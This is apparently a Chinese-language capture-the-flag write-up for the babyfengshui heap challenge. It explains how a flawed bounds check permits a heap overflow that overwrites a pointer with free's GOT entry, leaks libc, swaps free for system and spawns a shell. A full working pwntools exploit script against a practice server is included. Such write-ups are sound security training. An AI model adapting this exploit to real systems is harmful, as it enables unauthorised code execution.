babyfengshui_33c3_2016[堆溢出]

未来的你 = 你的热情 + 你的努力 + 那么微不足道的天赋

在这里插入图片描述

其实做pwn题我感觉都是只可意会,但并非不可言传,只是说了感觉和说废话一样,没有什么实质性的作用,最最重要的是要自己多去操作调试,pwn多了也就那样吧!但是最核心的永远是你coding的能力!虽然在干着逆向的事,但是coding的能力决定了你的高度! ----小白感悟

这道题问题出现在更新的时候边界的判断方法有问题,结合的堆的机制,就可以形成堆溢出!
在这里插入图片描述
添加一个用户会申请两个chunk,后一个chunk的内容为前一个chunk的地址+输入的text

struct user {
	void * prev_chunk;
	char text[124];
};
// sizeof(struct user) = 0x80

第二个chunk的的内容也就是上面的结构

对于这个判断就是前一个chunk的起始地址 + size 与 当前chunk的起始地址 - 4 进行比较(因为这是32位程序)。这种判断方法显然只有每一个用户都是一个挨着一个有效,这样在内存中堆上的布局才会是每个chunk依次挨着。

堆的机制,当我们释放大于fastbin的范围时候会先放到unsorted bin(前提是不和top chunk相邻,不然直接合并了),同理申请的时候也是优先从unsorted bin中进行分配。

所以当我们删除用户的时候,也就是释放chunk,放到那么就不按照顺序了

当前一个chunk的位置离当前chunk非常远的时候,上面的条件就可以轻松绕过。

接下来就是利用堆溢出修改上面user结构体的的prev_chunk的指针为got表中的free,因为此时已经重定位过了,然后直接打印就能拿到free的地址,泄露libc,拿到system的地址。

由于上面已经填入了free的got地址,当再次更新的时候,就会直接操作got表,此时再将free的位置修改为system的地址。最后当我们再一次free的时候,就会直接调用system函数了,/bin/sh是我们直接填入的,为什么会调用呢?可以先看一下free部分的做法

 if ( a1 < byte_804B069 && ptr[a1] )
  {
    free(*ptr[a1]);
    free(ptr[a1]);
    ptr[a1] = 0;
  }

ptr是一个指针数组,存放我们每次malloc的地址,当我们修改got表后就相当于system(*ptr[a1]),此时*ptr[a1]位置就是我们填入的/bin/sh,从而拿到shell.

exp

from pwn import *
from LibcSearcher import *

context(log_level='debug')

def debug_pause():
	log.info(proc.pidof(p))
	pause()

def add_user(size, text):
	"""
	text_len update length
	text description
	"""
	p.sendlineafter('Action:', '0')
	p.sendlineafter('size of description:', str(size))
	p.sendlineafter('name', b'moddemod')
	p.sendlineafter('text length', str(text.__len__()))
	p.sendlineafter('text', text)
	

def delete_user(index):
	p.sendlineafter('Action:', '1')
	p.sendlineafter('index:', str(index))
	

def display_user(index):
	p.sendlineafter('Action:', '2')
	p.sendlineafter('index:', str(index))
	# p.recvuntil('name:')


def update_user(index, text):
	p.sendlineafter('Action:', '3')
	p.sendlineafter('index:', str(index))
	p.sendlineafter('text length', str(text.__len__()))
	p.sendafter('text', text)
	

proc_name = './babyfengshui_33c3_2016'
p = process(proc_name)
p = remote('node3.buuoj.cn', 28094)
elf = ELF(proc_name)
add_user(0x10, b'a') # 0
add_user(0x10, b'b') # 1
add_user(0x10, b'/bin/sh\x00') # 2
# debug_pause()

delete_user(0)
free_got = elf.got['free']
add_user(0x80, b'a' * 0x80 + p32(0x0) + p32(0x19) +  b'a' * 0x10 + p32(0x0) + p32(0x89) + p32(free_got))
display_user(1)
p.recvuntil('description: ')
free_addr = u32(p.recv(4))
log.info(hex(free_addr))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
update_user(1, p32(system_addr))
delete_user(2)
p.interactive()


在这里插入图片描述
如果还是不能理解的话,下面应该是作者的源码吧,可以参考一下!
源码:https://github.com/bkth/babyfengshui/blob/master/babyfengshui.c

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章